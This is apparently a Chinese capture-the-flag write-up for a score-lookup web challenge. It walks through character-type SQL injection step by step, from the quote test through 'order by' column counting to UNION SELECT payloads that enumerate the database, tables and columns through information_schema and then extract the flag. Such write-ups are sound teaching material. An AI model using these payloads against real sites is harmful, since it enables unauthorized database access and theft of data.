成绩查询,数据库交互,那就在考察SQL注入漏洞。
正常输入1,2,3试试。
就正常步骤判断是否存在sql注入。
- 输入1
有反应 - 输入1’#
没有反应
判断是字符型注入
然后用火狐插件max Hackbar做题目。
我这里是用union查询的,union查询的前提是要知道字段数。
用order by 1# 类似的来判断字段数
就停的输入:
id=1' order by 1#
id=1' order by 2#
id=1' order by 3#
id=1' order by 4#
id=1' order by 5#
......
到了id=1’ order by 5#时就没反应了
所以字段数为4.
构造sql 语句:
id=' union select 1,2,3,4 #
现在就是将1,2,3,4替换成我们想查询的东西就好了。
第一步:查询数据库名称
id=' union select database(),2,3,4#
所以数据库名称是 :skctf
第二步:查表名
id=' union select group_concat(table_name) ,2,3,4 from information_schema.tables where table_schema=database()#
有两个表:
fl4g ,src
(flag 应该是在fl4g中)
第三步查询列名:
查询fl4g中的列名:
id=' union select group_concat(column_name) ,2,3,4 from information_schema.columns where table_name='fl4g'#
找到skctf_flag这个列
第四步 :查具体数据
id=' union select skctf_flag, 2,3,4 from fl4g#
拿到flag.